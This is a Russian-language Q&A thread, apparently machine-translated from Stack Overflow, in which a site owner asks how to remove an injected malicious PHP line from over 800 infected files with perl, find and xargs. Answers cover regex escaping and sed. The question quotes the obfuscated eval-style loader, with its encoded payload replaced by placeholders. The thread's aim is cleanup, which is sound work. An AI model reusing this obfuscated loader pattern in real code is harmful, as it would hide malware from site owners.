Linux найти файлы со строкой и заменить - PullRequest
0 голосов
/ 28 марта 2012

У меня есть несколько сайтов, которые были атакованы и заражены вредоносным ПО.

Существует более 800 файлов, которые необходимо обновить, и строка в каждом файле точно такая же.

ЧтоЯ хочу сделать, это найти все файлы, которые имеют вредоносное ПО, а затем удалить строку из файла.

Я нашел несколько сценариев командной строки, которые отлично работают при тестировании на базовой строке:

perl -pi -w -e 's/string_to_find//g;' test-file.php

и при объединении в команду поиска:

поиск.Тип F |xargs grep 'string_to_find' -sl |xargs perl -pi -w -e 's / string_to_find // g;'

Теперь моя проблема заключается в том, чтобы заставить его работать со строкой, которая является чрезвычайно длинной и сложной строкой:

<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "random_string_7365_characters_long";$eva1tYlbakBcVSir = "string_of_encoded_characters";$eva1tYldakBcVSir = "string_of_encoded_characters";$eva1tYldakBoVS1r = "string_of_encoded_characters";$eva1tYidokBoVSjr = "string_of_encoded_characters";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "string_of_encoded_characters";$eva1tYlbakBcVSir = "string_of_encoded_characters";$eva1tYldakBoVS1r = "string_of_encoded_characters";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>

Теперь, когда я пытаюсь выполнить поиск и заменить его на полную строку (экранируя все специальные символы), я получаю такой результат:

Possible unintended interpolation of @error_reporting in string at -e line 1.
Name "main::error_reporting" used only once: possible typo at -e line 1.

Возможно ли сделать то, что я пытаюсь сделать, илиСтрока невозможно захватить?Нужно ли по-другому экранировать символ @?(Я сбежал с \, и это не сработало)

Любая помощь - я новичок в bash и perl

Ответы [ 4 ]

1 голос
/ 28 марта 2012

\@ должен работать, но у вас есть и другие проблемы: <? соответствует необязательному <, например, не последовательности <?. Согласно man perlre, должно работать следующее:

perl -pi -w -e 's/\Q<?php \E@\Qerror_reporting...//g'

\Q отключает все специальные значения регулярного выражения, что позволяет вам искать точную строку без кавычек в каждой метасимволе. \ E временно восстанавливает специальное значение, но поскольку @ является изолированным, оно не интерпретируется как начало имени массива. Вам придется окружать каждого @ и $ одинаково. И затем, конечно, убедитесь, что это работает правильно! Удачи.

Редактировать: По правде говоря, я бы порекомендовал заменить ваш однострочник простым скриптом. Определите строку, которую вы хотите найти, убедившись, что нежелательной замены переменных не происходит (распечатайте ее, чтобы убедиться); отключите все специальные символы с помощью quotemeta(), чтобы отключить их значение в регулярных выражениях; и применить к входу. Это если строка действительно ТОЧНО одинакова; если «random_string ...» отличается от места к месту, вам нужно построить свой RE более тщательно. В любом случае, это облегчит вашу жизнь, если вы напишете 5-строчный Perl-скрипт, заставите его работать с одним файлом, а затем используете метод find / xargs, чтобы применять его повсеместно.

0 голосов
/ 28 марта 2012

Я понял это. Утверждение было правильным, я только что пропустил экранирование некоторых символов.

Итак, в ответ на мой вопрос, ответ:

Да - используемый метод является правильным и работает для достижения желаемого результата Да - Символ @ также должен быть экранирован

Правильно экранируйте строку и оператор отлично работает.

0 голосов
/ 28 марта 2012

Регулярные выражения имеют другие функции, которые могут упростить эту задачу. Если у вас нет действительного кода с переменными, которые начинаются с $evalfYl, вы можете использовать гораздо более простое регулярное выражение с пометкой less для экранирования:

perl -pi -w -e \
's/<\?php \@error_reporting\(0\);if \(!isset(\$evalYl.*?} \?>//g' \
 test-file.php

где .*? будет соответствовать любым символам до следующего вхождения "}?>" В строке.

0 голосов
/ 28 марта 2012

Вы, вероятно, хотите вернуться в командную строку и использовать sed.Он построен именно для этого типа проблемы.Вот хорошее место для начала: IBM Developerworks SED на примере

...